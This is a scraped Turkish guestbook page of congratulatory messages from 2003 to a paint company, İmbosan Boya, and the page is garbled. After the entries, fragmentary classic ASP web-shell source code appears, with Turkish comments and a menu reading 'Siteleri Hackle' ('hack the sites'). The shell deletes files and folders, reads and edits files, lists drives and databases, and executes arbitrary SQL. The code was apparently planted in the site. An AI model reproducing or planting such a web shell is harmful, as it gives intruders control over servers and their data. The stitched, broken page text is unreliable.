WEB SİTENİZ HAYIRLI OLSUN.YAPTIĞINIZ HER İŞTE OLDUĞU GİBİ YİNE GÖNLÜNÜZÜ,YÜREĞİNİZİ ORTAYA KOYAN, SON DERECE BAŞARILI BİR ÇALIŞMA OLMUŞ.YENİLİKÇİ RUHUNUZU BİR KEZ DAHA TEBRİK EDER, GÜZEL BAŞARILARINIZIN DAİM OLMASINI TEMENNİ EDERİM.SAYGILARIMIZLA..
Gönderen :RÜSTEM REKLAMCILIK L.T.D. Ş.T.İ. Tarih :27.09.2003
HER ZAMAN YENİLİKÇİ VE TİCARETTE CESUR ADIMLARLA İLERLEMEKTESİNİZ.WEB SİTESİ HAZIRLAYARAK KENDİNİZİ DAHADA İYİ ANLATMANIN BİR YOLUNU DAHA BULMUŞSUNUZ. SİZDEN HER ZAMAN BÖYLE BAŞARILI OLMANIZDAN DOLAYI TEBRİK EDER, HAYIRLI İŞLER DİLERİZ.RÜSTEM ERGÜL
Gönderen :Mehmet Oğuz YEŞİL( Vakıf Başkanı) Tarih :25.09.2003
Web siteniz vesilesi ile Raif Cilesun Eğitim ve Kültür Vakfına yapmış olduğunuz boya yardımından dolayı imbosan boyaya teşekkürlerimizi sunarız.
Gönderen :SCBS TURK TV AİLESİ Tarih :23.09.2003
KALPLİ BOYA-YÜREKLİ BOYA-İMBOSAN BOYA EN GÜZEL RENKLERDE MEKANLARINIZA SEVGİNİN RESMİNİ BOYAYIN. İMBOSAN BOYA TEBRİKLER KALPLİ BOYA
Gönderen :İbrahim ÇELİK Tarih :22.09.2003
Sayın İsmail Bey,şirketinizin web sayfasını inceledim,onur duydum.Anladım ki siz evlerimizi ve işyerlerimizi boyamamız için ve de güzelleştirmemiz için yalnızca boya değil SEVGİ de satıyorsunuz.Ve sevginin bedeli insanın kendine ayırabileceği zaman ile sınırlanmış.Nekadar güzel, siteniz şekil ve içeriği ile tam bir bayram şekeri kutusu gibi.Gözlerimizi,kalbimizi tatlandırdınız,teşekkür ederiz.Başarılarınızı tebrik eder,devamını dilerim.
Gönderen :ERDOGAN CABIOGLU MHP ISPARTA IL BASKANI Tarih :19.09.2003
SIZLERDEN VE BAYILERINIZDEN EDINDIGIMIZ BILGILER ICIN TESEKURLER BASARILARINIZIN DEVAMINI DILERIM
Gönderen :GÜRSAN TASTEKİN Tarih :19.09.2003
DEGERLI KARDESIM SITENI GEZDIM.VATANA MILLETE HAYIRLI OLSUN.
Gönderen :B.B.PARTİSİ BORNOVA İLÇE BAŞKANI ZEKERİYA KARAKAYA Tarih :18.09.2003
DEĞERLİ DOSTUM,SİTENİZİ GEZDİM VE ÇOK BEĞENDİM.EN ÇOK HUŞUMA GİDEN FİRMANIZA GELDİĞİMİZDE KARŞILADIĞINIZ SICAKLIĞI VE SAMİMİYETİ SİTENİZİN GİRİŞİNİDE KOYMANIZ OLDU.FİRMANIZI ÖNCELİKLE GAZETE,DERGİ,TELEVİZYONLARDA SONRADA İNTERNET ORTAMINDA GÖRDÜM VE BİR DOSTUM OLARAK SİZİNLE GURUR DUYUYORUM.20 YILLIK TECRÜBENİN ÜRÜNÜ OLAN KALPLİ BOYANIN ÜLKE GENELİNE HİTAP EDEN GAZETE VE TELEVİZYONLARDA TANITIMINA AĞIRLIK
VERİLMESİNİ TEMENNİ EDERİM.SİZİ VE KADRONUZU BAŞARILI ÇALIŞMALARINIZDAN DOLAYI KUTLARIM.BAŞARILAR,HAYIRLI İŞLER.
Gönderen :S.MUHASEBECİ MALİ MÜŞAVİR İSMAİL DEMİRBAŞCI Tarih :18.09.2003
DEĞERLİ ABİM İSMAİL İMAMOĞLU SİZİ,HER BAŞARILI İŞ ADAMIN ARAKASINDA BULUNAN DEĞERLİ ORTAĞINIZ,EŞİNİZ ALTINAY İMAMOĞLU'NU FİRMANIN KURULUŞUNDAN BU YANA ÇALIŞAN VE FİRMANIZLA ÖZDEŞLEŞEN SERPİL HANIMI VE TÜM KADRONUZU TEBRİK EDER BAŞARILARINIZIN DEVAMINI DİLERİM.ÖNCELİKLE İMALAT,PAZARLAMA VE BAŞARILI UYGULAMA ÇALIŞMALARINIZLA VE EKONMİYE YAPTIĞINIZ CİDDİ KATKILARINIZLA İZMİR FİRMALARI ARASINDA SONRADA TÜRKİYE GENELİNE HİTAP ETMEYE BAŞLADINIZ.ŞU ANDA İNTERNET ARACILIĞI İLE TÜRKİYE DIŞINDAKİ FİRMALARA HEM KENDİNİZİ HEMDE ÜLKEMİZİ TANITMA FIRSATI YAKALAMIŞ OLDUĞUNUZU GÖRÜYORUM.FİRMANIZI İL BAZINDA VE SEKTÖRÖL BAZDA İHRACAT REKORLARI ARASINDA GÖRMEK DİLEĞİ İLE SİZE VE KADRONUZA HAYIRLI İŞLER DİLERİM.
Gönderen :ALİ KÖSE Tarih :18.09.2003
SAYIN DOSTUM. SİTENİ GEZDİM VE BEĞENDİM. ANCAK DAHA SERİ AÇILMASINI DİLERİM.
BAŞARILAR, SAYGILAR.
Gönderen :NALBURİYE DERGİSİ REKLAM MÜDÜRÜ- NURŞAH ALPAR Tarih :17.09.2003
YENİLİKÇİ ANLAYIŞ İLE DAHA UZUN YILLAR SEKTÖRDE İŞBİRLİĞİ YAPMAK DİLEĞİYLE....
Gönderen :Berolina pls.san.ve tic.a.ş.-Naci Sertçelik Tarih :06.09.2003
GİRİŞİMCİ VE YENİLİKCİ DOSTUMUZ SAYIN İMAMOĞLU,GELİŞMELERİNİZİ ÇAĞDAŞ İLETİŞİM ARAÇLARINI KULLANARAK İFADE ETMENİZ YANINDA BÖLGE VE ÜLKE TANITIMINA KATKILARINIZDAN DOLAYI TEBRİK EDERİZ.SEKTÖRDE IŞIĞI HER GEÇEN GÜN ARTARAK PARLAYAN BİR YILDIZ OLARAK DİKKAT ÇEKMEKTESİNİZ.ÇALIŞMALRINIZDA BAŞARILAR DİLERİZ.SAYGILARIMIZLA,
Gönderen :Önder VURAL Besineks Gıda San.A.Ş. Tarih :30.08.2003
Sayın İsmail İMAMOGLU Yeni ATILIMLARINIZI TEBRİK EDER BAŞARILI ÇALIŞMALARINIZIN DEVAMINI DİLERİM.WEB SAYFANIZ BİRÇOK FİRMAYA ÖRNEK TEŞKİL EDER BOYUTTA TEBRİKLER
Gönderen :süleyman er 2001 Tarih :27.08.2003
SAYIN İMAMOĞLU ÇALIŞANLARI SİZLERİN DE TÜRKİYE GENELİNDE ÇALIŞMALARA KATKINIZDAN DOLAYI EN İÇTEN DUYGULARIMLA TEBRİK EDERİM. DÜNYA GENELİNDE TÜRKİYE'Yİ TANITMAK VE ANLATMAK AMACIYLA YAPMIŞ OPLDUĞUNUZ ÇALIŞMALARINIZDAN DOLAYI SİZLERİ EN İÇTEN DİLEKLERİMLE KUTLAR ÜLKE ADINA YAPMIŞ OLDUĞUNUZ ÇALIŞMALARINIZIN DEVAMINI BEKLERİM.
Gönderen :Mahmut Akiz Tarih :21.08.2003
Ben İmbosan boya ile Bostanlı camii,Özsoy Tarım,Yorsan Cam,Alaçatı çeşme'de VİLLA,Taşkıran mobilya, Biat mobilya Atanur Güzellik salonu gibi birçok yeri boyadım.Kapatma gücü, kilolarının fazla olması,fiyatlarının ekonomik oluşu gibi nedenler;bana hem para kazandırıyor,hemde yaptığım işten zevk alıyorum.Birde peşin diye tutturmasanız..Web siteniz farkınızı yine ortaya koyuyur.
Başarılarınızın devamını dilerim.
Gönderen :A.İsmail SERTEL Tarih :08.08.2003
Değerli dostum,
kurumsal kimliğinizin gelişimi yolunda attığınız bu yeni adımla ürünlerinizde olduğu gibi,sisteminizde de
kalitenizi açıkca ortaya koymuşşunuz,
sizi bir kez daha içtenlikle kutlar başarılarınızın devamını dilerim.
Sevgi ve saygılarımla.
| " KlasorOku Response.Write " | " DosyaOku Response.Write " | " hataKontrol CASE 3 'File Delete objFSO.DeleteFile del hataKontrol ' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time CASE 4 'Folder Delete objFSO.DeleteFolder del ' Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time hataKontrol CASE 5 'Dosya içeriğini görüntüle Response.Write "||||||
"
set f = objFSO.OpenTextFile(path,1)
Response.Write ""&Server.HTMLEncode(f.readAll)&"" if err<>62 then hataKontrol if err.number=62 then Response.Write "":Response.End CASE 6 'Resim aç Response.Write " " CASE 7 'database tablo listele Response.Write "Tablolar " Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "4 "&table.Name&" " End If Next hataKontrol CASE 8 'database kayıt listele Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "
" hataKontrol CASE 9 'SQL Execute Set objConn = Server.CreateObject("ADODB.Connection") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Path objConn.Open objConn.Execute strSQL ' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time hataKontrol CASE 10 'Dosya Editleme set f = objFSO.OpenTextFile(dPath,1) Response.Write " |
" case "asp" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&"
" case "jpg","gif" Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ¢ "&downStr&"
" case else Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
" end select Next end sub sub KlasorOku Set f = objFSO.GetFolder(Path) Set fc = f.SubFolders For Each f1 In fc Response.Write "4 û 1"&f1.name&"
" Next end sub function createFileName() Randomize fName_ = "" for i=1 to 10 fName_ = fName_ & int(Rnd*100) next createFileName = fName_ end function function resimYol(path_) on error resume next path_ = Replace(Replace(path_,"\","/"),"//","/") lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\")) if yaziyomu2(lpath_) then fname__ = "0"&createFileName()&"."&Right(path_,3) objFSO.CopyFile path_, lpath_&"\"&fname__ else Response.Write("Resim Açılamıyor..
İsterseniz Download Ederek görüntüleyebilirsiniz..") end if resimYol = fname__ end function if not popup then Set fc = Nothing Set objFSO = Nothing Response.End end if %> <% Response.Write "
| Sürücüler |
| " Response.write ";" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" Response.Write " |
| " Response.write "H Local Path" Response.Write " |
" Set fc = Nothing Set objFSO = Nothing %>
Sistem Bilgisi Sistemi Test Et Siteleri Hackle :D Klasor Islemleri SQL Server Islemleri POWERED BY<%Response.End%>
Tarih :07.06.2005
Tarih :06.06.2005
Tarih :06.06.2005
Tarih :19.05.2005
Tarih :20.03.2005
Tarih :12.03.2005
Tarih :31.01.2005
Tarih :21.12.2004
Tarih :21.12.2004
Tarih :22.04.2004
Tarih :13.02.2004
Tarih :23.10.2003
Tarih :12.10.2003
Tarih :11.10.2003
Tarih :30.09.2003
Tarih :27.09.2003
Tarih :25.09.2003
Tarih :23.09.2003
Tarih :22.09.2003
Tarih :19.09.2003
Tarih :19.09.2003
Tarih :18.09.2003
Tarih :18.09.2003
Tarih :18.09.2003
Tarih :17.09.2003
Tarih :06.09.2003
Tarih :30.08.2003
Tarih :27.08.2003
Tarih :21.08.2003
Tarih :08.08.2003